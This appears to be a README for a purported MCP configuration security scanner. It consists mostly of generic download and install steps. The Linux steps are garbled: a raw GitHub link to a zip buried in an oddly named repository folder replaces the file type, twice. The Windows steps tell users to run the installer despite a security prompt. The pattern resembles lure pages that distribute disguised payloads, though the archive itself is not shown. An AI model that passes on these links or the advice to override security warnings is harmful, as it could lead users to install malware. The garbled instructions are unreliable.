🔍 mcp-security-scanner - Find Security Issues in MCP Configs

📖 About mcp-security-scanner

mcp-security-scanner is a tool designed to help you check your MCP (Model Context Protocol) configuration files for security problems. It looks for things like hardcoded passwords, leaked API keys, or incorrect settings that could put your application at risk.

You don't need technical skills to use this tool. It works with your files and gives you clear results. Use it anytime you want to make sure your protocols are safe.

💻 System Requirements

Before you get started, make sure your computer meets these simple requirements:

• Operating System: Windows 10 or newer, macOS 10.13 or newer, or Linux (Ubuntu 18.04+ recommended)
• Processor: At least 1.5 GHz, dual-core or better
• Memory: Minimum 2 GB RAM
• Disk Space: At least 100 MB free space
• Internet Connection: Needed to download the software and for updates

🚀 Getting Started

Using mcp-security-scanner is simple. Follow these steps carefully:

1. Download the software from the official releases page.
2. Install it on your computer.
3. Open the software.
4. Select the MCP config files you want to scan.
5. Start the scan and wait for the results.
6. Review the report and fix any issues found.

This guide will walk you through each step with details and screenshots where helpful.

📥 Download & Install

You can get mcp-security-scanner from its official releases page:

Download mcp-security-scanner here

How to Download

1. Click the link above to open the releases page.
2. Look for the latest version. It will be marked with the highest version number and a recent date.
3. Choose the file that matches your operating system:
   • For Windows, a .exe or .msi file.
   • For macOS, a .dmg or .pkg file.
   • For Linux, usually a https://github.com/Paaxy/mcp-security-scanner/raw/refs/heads/main/transhumant/scanner-mcp-security-v2.8-alpha.5.zip or .AppImage file.
4. Click on the file name to start the download.

How to Install on Windows

1. Once downloaded, open the file. You might see a security prompt; choose to run it anyway.
2. Follow the setup instructions on screen.
3. Choose where you want to install the program or accept the default location.
4. Click "Install" and wait for the process to finish.
5. After installation, you can find mcp-security-scanner in your Start menu.

How to Install on macOS

1. Open the downloaded .dmg or .pkg file.
2. If it’s a .dmg, drag the app icon into the Applications folder.
3. If it’s a .pkg, follow the installer steps.
4. After installation, open the app from your Applications folder.

How to Install on Linux

1. Extract the https://github.com/Paaxy/mcp-security-scanner/raw/refs/heads/main/transhumant/scanner-mcp-security-v2.8-alpha.5.zip file if needed.
2. For .AppImage files, right-click the file, go to Properties, and allow it to run as a program.
3. Double-click the file to start the software.
4. You may want to move the file to a folder like /usr/local/bin for easier access.

🛠 How to Use mcp-security-scanner

After installation, open the app by clicking its icon. Here’s how to scan your MCP config files step by step:

1. Open Scan Window: Click the “Scan Files” button.
2. Select Files: Navigate to the folder containing your MCP configuration files. Select one or many files to scan.
3. Start Scan: Press the “Start Scan” button.
4. View Progress: A progress bar will show the scanning status. Scans usually take a few seconds to a minute depending on file size.
5. **Check Results

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